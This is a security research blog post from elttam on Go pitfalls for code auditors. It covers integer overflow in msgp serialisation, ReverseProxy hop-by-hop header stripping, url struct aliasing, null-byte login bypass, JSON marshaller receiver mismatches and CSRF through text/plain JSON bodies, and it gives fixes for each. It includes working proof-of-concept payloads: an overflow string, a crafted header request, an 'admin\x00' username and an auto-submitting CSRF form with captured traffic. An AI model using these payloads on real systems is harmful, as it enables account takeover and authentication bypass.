Cached at:
06/03/26, 01:45 PM
# Golang code review notes II - elttam
Source: [https://www.elttam.com/blog/golang-code-review-notes-ii](https://www.elttam.com/blog/golang-code-review-notes-ii)
## Introduction
A couple of years ago we[published](https://www.elttam.com/blog/golang-codereview)a blog post with the intention to create a resource that code auditors and security\-minded engineers can refer to when auditing or developing Golang projects\.
In that post we covered some bug classes that we have often seen during our own Golang code auditing projects\.
Thanks to the second law of thermodynamics time only keeps moving forward, and as any decently supported modern programming language, Go has seen a lot of changes and improvements since our first blog post\.
So we decided to create this follow\-up post with the same idea in mind\.
Since out first post, automated tooling and AI assistants have raised the floor for code review: a lot of the obvious bugs now get caught on the first pass, by anyone\. But that floor is also where most reviewers stop, because the tooling stops there too — the rules only flag what they already know to look for\. What separates an experienced auditor is knowing the language's sharp edges that no rule covers yet, and going looking for them deliberately\.
In this post, first we will start with a quick look at what changes have been made to the language to make security easier and more intuitive for folks \(with no particular selection criteria on what we're going to cover\)\.
Then we have a bunch of new footguns we would like to highlight, hopefully to the benefit of everyone auditing or developing Golang projects\.
Finally, we are also releasing a couple of semgrep rules to close the gap regarding these risky coding patterns\.
The rules can be found in our Semgrep rules[repository](https://github.com/elttam/semgrep-rules)\.
With the introduction out of the way, first let's see what are some of the features that were introduced Golang with a major impact on its security landscape\.
## Previously in Goland
To start with something that is mildly concerning, pretty much everything from our previous blog post is still valid in 2026 \- with one major caveat\.
While path traversal is still a very real thing, over a year ago the release of Go 1\.24[introduced](https://go.dev/blog/osroot)a new set of APIs called`os\.Root`\.
Without repeating too much of what is very well explained in the Go team's blog post, these APIs are meant to stop path traversal altogether by creating a root directory and on the framework level disallowing reads and writes past this point\. Everything below the root is still available, including child directories and symlinks \(as long as they stay within the root\)\.
While this is a very useful feature it wasn't without[teething](https://github.com/golang/go/issues/73555)[problems](https://github.com/golang/go/issues/77827); however these were quickly fixed in Go 1\.25\.
In a similar fashion, the Go team has just concluded their`math/rand`improvement era that ran over the course of Go 1\.20 to 1\.26 \(which is the current version at the time of publishing\)\.
Go went from "passing nil to`rsa\.GenerateKey`is silently catastrophic" to "it doesn't matter what you pass, the function will do the right thing\."
This was achieved by tidying up`math/rand`to the point where developers have an explicit choice between PRNG and`crypto/rand`\- as opposed to manually seeded generators, which are completely gone from the library at this point\.
Additionally, the footgun of accidentally using an unsafe random when generating private keys has been removed by making sure that these functions ignore any`io\.Reader`'s passed to them and just use a secure internal random unconditionally\.
## Footguns
Ok, that's enough preamble, time to dig into the actual footguns\.
The subsections below highlight a handful of them, focusing on standard library features\.
Recently the toolchain around Go has also seen a fair bit of security improvements due to increased scrutiny, however those will have to wait until part 3 of this blog post series\.
Additionally, we are also not going to focus on popular third\-party frameworks, only standard library features at this point\.
### Silent Integer Overflows
Unlike most other languages Go's`int`and`uint`type have no fixed width \- they are set at compilation time to the target: 64 bits on amd64 and arm64, 32 bits on 386, arm and WebAssembly\.
This is a design choice in order to make efficient sizing choices; however because Go is cross\-compilable this means that unless the developer is careful they could make wrong assumptions about the size of integers\.
Go silently permits integer overflow and underflow without any runtime error or panic, which can introduce subtle and severe security vulnerabilities when not accounted for by developers\.
As an example,`strconv\.Atoi`, the classic string to integer conversion function returns a plain`int`, which means its range is quietly architecture\-dependent\.
While`strconv\.Atoi`will error if the returning`int`is outside of its range, this can still cause silent wrapping issues downstream\.
Paul Gerste's DEF CON 32 presentation,[*"SQL Injection Isn't Dead: Smuggling Queries at the Protocol Level"*](https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Paul%20Gerste%20-%20SQL%20Injection%20Isn%27t%20Dead%20Smuggling%20Queries%20at%20the%20Protocol%20Level.pdf), demonstrates the real\-world impact of this issue\.
Gerste identified several integer overflows in Go database driver libraries that enabled overflowing the length field for the corresponding wire protocol\.
By overflowing length field, he was then able to demonstrate injecting new queries when the packet was sent to the backend database\.
This class of vulnerability is not isolated to database drivers\.
Integer overflows are a recurring problem in Go data serialisation libraries, where the length of an attribute is derived from an untrusted input that can result in the misinterpretation of data structure boundaries\.
Take for example the[`github\.com/tinylib/msgp`package](https://github.com/tinylib/msgp)that implements the[MessagePack binary serialisation format](https://msgpack.org/index.html), where the[specification states that the maximum length for`Binary`,`String`,`Array`and`Map`objects is`\(2^32\)\-1`bytes long](https://github.com/msgpack/msgpack/blob/master/spec.md#limitation)\.
A mistake that was found in`github\.com/tinylib/msgp`was that they used[Go's`len`function](https://pkg.go.dev/builtin#len)to retrieve the length of data to be serialised that was then cast using`uint32\(\)`, as shown in the following code snippet\.
[*`github\.com/tinylib/msgp@v1\.5\.0`\-`msgp/write\.go`*](https://github.com/tinylib/msgp/blob/v1.5.0/msgp/write.go#L491)
```
// WriteString writes a messagepack string to the writer.
// (This is NOT an implementation of io.StringWriter)
func (mw *Writer) WriteString(s string) error {
sz := uint32(len(s)) <1>
var err error
switch {
case sz <= 31:
err = mw.push(wfixstr(uint8(sz)))
case sz <= math.MaxUint8:
err = mw.prefix8(mstr8, uint8(sz))
case sz <= math.MaxUint16:
err = mw.prefix16(mstr16, uint16(sz))
default:
err = mw.prefix32(mstr32, sz)
}
if err != nil {
return err
}
return mw.writeString(s) <2>
}
```
① Length of the input was string was cast using`uint32\(\)`\.
② Writes the full length of the string and is not restricted to`sz`\.
Go's`len`function returns a`int`type where[`int`is a signed integer that is at least 32 bits in size](https://pkg.go.dev/builtin#int), but on[64\-bit systems it returns a 64\-bit signed integer](https://go.dev/ref/spec#Numeric_types)\.
This enabled overflowing the length field that enables manipulating other sections of the data structure during the deserialisation process, as demonstrated in the following code and terminal output\.
*Example proof\-of\-concept using`github\.com/tinylib/msgp@v1\.5\.0`*
```
//go:generate msgp
package main
import (
"bytes"
"fmt"
"log"
"strings"
"github.com/tinylib/msgp/msgp"
)
//msgp:tuple Example
type Example struct {
UserInput string
NoUserInput string
}
func MsgPackDemo(userInput string) {
original := Example{
UserInput: userInput,
NoUserInput: "user should not be able to overwrite this",
}
// Serialise
var buf bytes.Buffer
w := msgp.NewWriter(&buf)
if err := original.EncodeMsg(w); err != nil {
log.Fatalf("failed to serialise: %v", err)
}
if err := w.Flush(); err != nil {
log.Fatalf("failed to flush writer: %v", err)
}
fmt.Printf("original.NoUserInput: %s\n", original.NoUserInput)
// Deserialise
var deserialised Example
r := msgp.NewReader(&buf)
if err := deserialised.DecodeMsg(r); err != nil {
log.Fatalf("failed to deserialise: %v", err)
}
fmt.Printf("Deserialised struct: %+v\n\n", deserialised)
}
func main() {
fmt.Println("demo normal use")
MsgPackDemo("normal user")
fmt.Println("demo int overflow")
// \xd9 corresponds to a string with an 8-bit length prefix
// \x12 is the length of the following string
overflowString := "\xd9\x12HACKER OVERWRITTEN"
overflowAmount := (1 << 32) - len(overflowString)
MsgPackDemo("hacker" + overflowString + strings.Repeat("A", overflowAmount))
}
```
*Output for the above code*
```
$ go build && ./msgpoverflow
demo normal use
original.NoUserInput: user should not be able to overwrite this
Deserialised struct: {UserInput:normal user NoUserInput:user should not be able to overwrite this}
demo int overflow
original.NoUserInput: user should not be able to overwrite this
Deserialised struct: {UserInput:hacker NoUserInput:HACKER OVERWRITTEN}
```
To help address silent integer overflows, Trail of Bits have released[`go\-panikint`](https://blog.trailofbits.com/2025/12/31/detect-gos-silent-arithmetic-bugs-with-go-panikint/), an open\-source tool that detects silent arithmetic overflows in Go programs at runtime\.
### Removal of Headers by ReverseProxy
As almost everything in Internet\-world, HTTP headers are defined by a couple of RFCs \- how accurately different implementations respect these is a whole other discussion\.
One of the RFCs that is relevant for our current interests is[RFC 2616](https://datatracker.ietf.org/doc/html/rfc2616#section-13.5.1), which defines a list of hop\-by\-hop headers\.
These headers are \- as the name suggests \- only meaningful for a single connection, and as such should not be forwarded by proxies\.
As a side note, while this RFC is now obsolete and was replaced by the one described below, there are still legacy code that respect this standard\.
To make things "simpler", there is a newer RFC \-[RFC 7230](https://datatracker.ietf.org/doc/html/rfc7230#section-6.1), which is meant to replace RFC 2616 \- that defines the`Connection:`header which should signal next hop recipients which headers are hop\-by\-hop and thus should be removed before forwarding the message\.
Now to tie this to our Golang adventures: Go has a reverse proxy in the standard library, which can be found under`httputil\.ReverseProxy`\.
This reverse proxy is such a teacher's pet that it respects \*\*both\*\* RFCs, which is exactly the source of confusion\.
The module also has a \`Director\` function which can be used to manage incoming requests\.
A quick summary of how things works is really well explained in the[GitHub issue](https://github.com/golang/go/issues/50580)outlining this footgun, but here it is copied verbatim:
1. Clone the incoming request to produce an outbound request, outreq\.
2. Pass outreq to the Director function, which may modify it\.
3. Remove hop\-by\-hop headers from outreq\.
4. Send outreq to the backend\.
Now let's consider the following code:
```
proxy := &httputil.ReverseProxy{
Director: func(req *http.Request) {
req.URL.Scheme = "http"
req.URL.Host = "internal-backend:8080"
// Director adds this header to authenticate the request to the backend.
req.Header.Set("X-Internal-Auth", os.Getenv("BACKEND_SECRET"))
// The director also adds this header to enforce transport security even in the backend.
req.Header.Set("X-Forwarded-Proto", "https")
},
}
```
If an attacker knows these header names and specifies them in the`Connection:`header in a malicious request, they can force the authentication or transport encryption to be dropped:
```
# Attacker's request — names the Director-added header as hop-by-hop:
GET /admin HTTP/1.1
Host: proxy.example.com
Connection: X-Internal-Auth
X-Internal-Auth: anything
```
While this is definitely an edge case, it's real enough to have caused advisories to be issued in the past:[Hop\-by\-hop abuse to malform header mutator in Ory Oathkeeper\.](https://github.com/ory/oathkeeper/security/advisories/GHSA-w9mr-28mw-j8hg)
The good news is that in Go 1\.26 the`Director`function has been deprecated in favour of the`Rewrite`function, which receives the request*after*the hop\-by\-hop headers have been removed, making it a safe by default choice:
```
proxy := &httputil.ReverseProxy{
Rewrite: func(req *httputil.ProxyRequest) {
req.SetURL(&url.URL{Scheme: "http", Host: "internal-backend:8080"})
req.Out.Header.Set("X-Internal-Auth", os.Getenv("BACKEND_SECRET"))
req.SetXForwarded()
},
}
```
However, the`Director`was not removed for backwards compatibility, so any projects still using it remain vulnerable\.
### Mutating`net/url`Structs
The next footgun is a subtle one\.
Sometimes we need to create a copy of a`net/url`struct when we are doing some processing on the URL but don't want the original struct to change\.
So we would do something like this:
```
var redirectURL, _ = url.Parse("https://auth.example.com/callback")
func main() {
http.ListenAndServe(":8080", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
u := redirectURL
q := u.Query()
token, err := getRedirectToken(r)
if err != nil {
q.Set("error", err.Error())
} else {
q.Set("token", token)
}
u.RawQuery = q.Encode()
http.Redirect(w, r, u.String(), http.StatusFound)
}))
}
```
Seems fine at first\.
But the problem is that`u := redirectURL`is not a copy of the struct as we'd expect, we are just copying a**pointer**\.
So when we try to write to the "copy", such as`u\.RawQuery = q\.Encode\(\)`, we are actually writing to the original struct\!
This is a race condition and could result in security issues\.
We could not find any publicly disclosed vulnerabilities as a direct result of this pattern, probably due to the following:
- The race window can be quite narrow\.
- The Go toolchain's`\-race`flag should catch this with a decent test suite\.
- A vulnerable application would need to store the`url`struct in a shared state*and*mutate it at the same time, which is a developer mistake on top of a footgun\.
However, we wanted to include this pattern as it is still a live footgun in Go\.
A safe pattern would be to dereference the pointer to copy the actual struct such as:`u := \*redirectURL`
Or to create a fresh struct with only the relevant fields copied:
```
u := &url.URL{
Scheme: redirectURL.Scheme,
Host: redirectURL.Host,
Path: redirectURL.Path,
}
```
### Null Byte Authentication Bypass
Go strings are length\-delimited byte slices\. Unlike C, there is no null terminator, and no character is special — a Go string can contain`\\x00`anywhere and the language will handle it correctly\.
\(As a side note, if you ever looked at a compiled Go binary and tried to find strings without tools, and haven't lost your sanity, I salute you\.\)
So`len\("admin\\x00evil"\)`will return 12, and`"admin\\x00evil" == "admin"`will be false\.
The footgun manifests at the boundary between Go and anything that uses C\-style null\-terminated strings: CGO, PAM, LDAP clients, database drivers with a C layer, or any system call that accepts a path or credential\.
At that boundary, the string is silently truncated at the first null byte, and the Go layer is none the wiser\.
Consider this classic authentication logic:
```
// Application blocks direct admin login at the Go layer,
// then delegates actual credential verification to a C-based auth library.
func login(username, password string) (bool, error) {
// Blocklist: prevent authenticating as privileged accounts.
if username == "admin" || username == "root" {
return false, errors.New("direct admin login disabled")
}
// Passes username and password to a CGO-wrapped PAM or LDAP library.
return cVerifyCredentials(username, password)
}
```
An attacker submits the username`admin\\x00`with the admin password\. Go's equality check`"admin\\x00" == "admin"`evaluates to false and the blocklist is bypassed\.
The string is then passed to the underlying C library, which reads characters until it hits the null byte and sees the username as`admin`\.
The C library authenticates the request against the admin account and returns success\.
The Go application, which stored the full`admin\\x00`string in the session, may then make further decisions based on the raw string — decisions that other parts of the system, also going through C, resolve as`admin`\.
The same class of bug appears in path handling, SQL identifiers passed via C drivers, and LDAP filter construction\. Go's own file I/O is not affected — the syscall package rejects strings containing null bytes for path arguments — but any code that calls into C with a user\-controlled string is potentially vulnerable\.
The fix is to reject null bytes at trust boundaries before they reach any interop layer:
```
func login(username, password string) (bool, error) {
if strings.ContainsRune(username, 0) || strings.ContainsRune(password, 0) {
return false, errors.New("invalid credentials")
}
if username == "admin" || username == "root" {
return false, errors.New("direct admin login disabled")
}
return cVerifyCredentials(username, password)
}
```
The broader principle is that Go's correct handling of null bytes does not protect you from the systems you interoperate with\. Any string that crosses a CGO boundary should be treated as a C string for validation purposes, regardless of how Go itself would interpret it\.
### Inconsistent JSON Marshalling
This next one will go a bit deeper into how Go works under the hood, but it is an interesting footgun so it should be worth following along\.
The`encoding/json`package marshals custom types by checking whether they implement the`json\.Marshaler`interface — specifically, whether they have a`MarshalJSON\(\) \(\[\]byte, error\)`method\.
The subtlety is in the[method set](https://go.dev/wiki/MethodSets)rules: a method defined on a pointer receiver`\*T`is only in the method set of`\*T`, not of`T`\.
A value of type`T`does not satisfy`json\.Marshaler`even if`\*T`does\.
Most of the time this difference is invisible because the compiler automatically takes the address of addressable values when calling pointer\-receiver methods\.
The`encoding/json`package uses reflection however, not direct method calls, and reflection follows the method set rules strictly\.
The result is that encoding a struct by value silently skips the custom marshaller on any field whose type uses a pointer receiver, while encoding a pointer to the same struct calls it correctly\.
Ok, that was pretty dense, so let's look at an example:
```
type RedactedToken string
// Intended to prevent tokens from appearing in logs or API responses.
func (t *RedactedToken) MarshalJSON() ([]byte, error) {
return []byte(`"[redacted]"`), nil
}
type Session struct {
UserID string
Token RedactedToken
}
func handler(w http.ResponseWriter, r *http.Request) {
sess := Session{UserID: "u_123", Token: "sk_live_abc123secret"}
// {"UserID":"u_123","Token":"sk_live_abc123secret"}
json.NewEncoder(w).Encode(sess) <1>
// {"UserID":"u_123","Token":"[redacted]"}
json.NewEncoder(w).Encode(&sess) <2>
}
```
① This call encodes`sess`by value\. The json package sees the`Token`field as type`RedactedToken`, checks whether`RedactedToken`implements`json\.Marshaler`but it does not \(only`\*RedactedToken`does\), so it falls back to default string marshalling\. The raw token is written to the response\.
② This call encodes`&sess`; the package now encounters`\*RedactedToken`using its reflection mechanism, which satisfies the interface, and the custom marshaller runs\.
An engineer who tests with`&sess`and ships with`sess`, or receives a`Session`by value from a function and immediately encodes it will never see a test failure, because the output is valid JSON either way\.
A security impact is present where custom marshallers are used for sanitisation: redacting credentials and PII from logs, masking card numbers in API responses, omitting internal fields from public endpoints\.
All of those guarantees silently disappear when the containing struct is passed or encoded by value\.
The fix is to make the receiver consistent with how the type will actually be encoded — either define`MarshalJSON`on the value receiver so it is in the method set of both`T`and`\*T`, or store the field as a pointer`\(\*RedactedToken\)`so the package always encounters the pointer type during reflection:
```
// Option 1: value receiver — satisfies json.Marshaler for both T and *T.
func (t RedactedToken) MarshalJSON() ([]byte, error) {
return []byte(`"[redacted]"`), nil
}
// Option 2: store as pointer in the struct.
type Session struct {
UserID string
Token *RedactedToken
}
```
The underlying[issue](https://github.com/golang/go/issues/22967)has been open since 2017 and remains unresolved\.
It is the kind of bug that passes code review cleanly, produces no compiler warning, and only surfaces when the wrong call site is reached in production — at which point the sensitive data has already been serialised\.
### CSRF Misconfigurations
Cross\-Site Request Forgery \(CSRF\) is a type of web security vulnerability where an attacker tricks a user’s browser into making an unwanted request to a website where the user is already authenticated\.
CSRF issues have been a well\-known vulnerability class for decades that are rarely observed lately due to security awareness and better protections, yet recent CSRF issues we have discovered have been in Golang web applications with a JSON REST API\.
The root cause for these CSRF issues were due to the following conditions:
**Missing`net/http\.CrossOriginProtection`Protection**
Golang introduced[`net/http\.CrossOriginProtection`](https://pkg.go.dev/net/http#CrossOriginProtection)in`go v1\.25\.0`, which is used as a wrapper around handlers that detects either the`Sec\-Fetch\-Site`request header or compares the`Origin`and`Host`headers to prevent CSRF attacks\.
However, this is a recent addition to golang and most web frameworks and applications do not utilise this protection mechanism, either implementing their own CSRF checks or ignoring CSRF as a bug class\.
**Not Validating the`Content\-Type`Request Header**
Developers commonly assume that JSON API endpoints mitigate against CSRF attacks, due to browsers sending a preflight`OPTIONS`request for`application/json`content type request bodies\.
However, a common oversight we have observed is validating the`Content\-Type`request header when using the`net/http`server or other minimalistic web framework \- such as[`go\-chi`](https://github.com/go-chi/chi)\.
Forgetting to validate the`Content\-Type`request header enables the use of the`text/plain`or`application/x\-www\-form\-urlencoded`content types to bypass preflight`OPTIONS`request for a cross\-site request\.
**`SameSite=None`Attribute Set on a Session Cookie**
A session cookie was set with the[`SameSite=None`attribute](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#none), which enables the inclusion of the cookie in cross\-site requests\.
While this is a well\-known misconfiguration, a footgun that we have identified in a popular dependency is that[`github\.com/gorilla/sessions`session manager](https://github.com/gorilla/sessions)sets[the`SameSite=None`attribute by default](https://github.com/gorilla/sessions/blob/v1.4.0/store.go#L59), as shown in the following code snippet\.
[*`github\.com/gorilla/sessions@v1\.4\.0`\-`store\.go`*](https://github.com/gorilla/sessions/blob/v1.4.0/store.go#L59)
```
func NewCookieStore(keyPairs ...[]byte) *CookieStore {
cs := &CookieStore{
Codecs: securecookie.CodecsFromPairs(keyPairs...),
Options: &Options{
Path: "/",
MaxAge: 86400 * 30,
SameSite: http.SameSiteNoneMode, <1>
Secure: true,
},
}
cs.MaxAge(cs.Options.MaxAge)
return cs
}
```
① Sets the default`SameSite`attribute for session cookies to`None`\.
**Parsing Quirks with`encoding/json`**
The[`encoding/json`package](https://pkg.go.dev/encoding/json)ignores trailing bytes after parsing a JSON document\.
This can be combined with a missing`Content\-Type`validation check to build a`text/plain`CSRF form attack that is then parsed as a valid JSON request body\.
To demonstrate these footguns, a`go\-chi`web application was developed that had the following endpoint that was only accessible to an admin user\.
```
type User struct {
ID int `json:"id"`
Username string `json:"username"`
Email string `json:"email"`
Password string `json:"password"`
}
var users = []User{
{ID: 1, Username: "admin", Email: "
[email protected]", Password: "supersecurepassword"},
}
func CreateUserHandler(w http.ResponseWriter, r *http.Request) {
var newUser User
// uses encoding/json for unmarshaling the request body
decoder := json.NewDecoder(r.Body)
decoder.DisallowUnknownFields()
err := decoder.Decode(&newUser)
if err != nil {
http.Error(w, "Invalid request payload", http.StatusBadRequest)
return
}
newUser.ID = len(users) + 1
users = append(users, newUser)
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusCreated)
newUser.Password = ""
json.NewEncoder(w).Encode(newUser)
}
```
Cookie session management was handled using`github\.com/gorilla/sessions`with default settings, as shown in the following code snippet for initialising a user's session\.
```
session, _ := store.Get(r, "session")
session.Values["user_id"] = foundUser.ID
session.Values["authenticated"] = true
err = session.Save(r, w)
```
The below CSRF proof\-of\-concept performs a form POST attack that is encoded as`text/plain`, but the body is parsed as valid JSON as shown in the following request and response\.
```
<html>
<body>
<form action="http://127.0.0.1:3000/api/users" method="POST" enctype="text/plain">
<input type="hidden" name='{"username":"csrf.admin", "email":"
[email protected]","password":"hackerpassword"}' value='' />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
```
*The sent CSRF request contains a trailing`=`, but the`json\.Decoder`would ignore the trailing byte*
```
POST /api/users HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:150.0) Gecko/20100101 Firefox/150.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain
Content-Length: 91
Origin: http://evil.local:1337
Connection: keep-alive
Referer: http://evil.local:1337/
Cookie: session=MTc3ODY4Mzk4MHxEWDhFQVFMX2dBQUJFQUVRQUFCYl80QUFBd1p6ZEhKcGJtY01DUUFIZFhObGNsOXBaQU5wYm5RRUFnQUNCbk4wY21sdVp3d1BBQTFoZFhSb1pXNTBhV05oZEdWa0JHSnZiMndDQWdBQkJuTjBjbWx1Wnd3S0FBaHBjMTloWkcxcGJnUmliMjlzQWdJQUFRPT18WjL7Lol1_I4u0TS4jHeSGadwpDCUWLcZ2KhEmjbRYoM=
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Priority: u=0, i
{"username":"csrf.admin", "email":"
[email protected]","password":"hackerpassword"}=
```
*Response for the above attack, confirming the exploitation of the CSRF issue*
```
HTTP/1.1 201 Created
Content-Type: application/json
Date: Wed, 13 May 2026 14:53:02 GMT
Content-Length: 81
{
"id": 2,
"username": "csrf.admin",
"email": "
[email protected]",
"password": ""
}
```
## Conclusions
While this is still not the complete picture of footguns in Go, we hope this post will further serve as a resource for security auditors and engineers to things to look out for in their projects\.
We also hope that the Semgrep rules we're releasing with this blog post will be useful to find some beautifully obscure bugs\.
As we can see, Go is an ever\-changing language, with a lot of positive things happening in its security space\.
However, it is also a language made by humans, which means there will be interesting and potentially dangerous patterns that developers need to look out for\.
Here at elttam we live in this grey area, and we love to find these nuggets of weird code constructs\.
Next time we will look at Go's toolchain and some of the most popular Go projects, as it is not just the standard library that can hold dangers, but the wider ecosystem around Go with its ever increasing complexity\.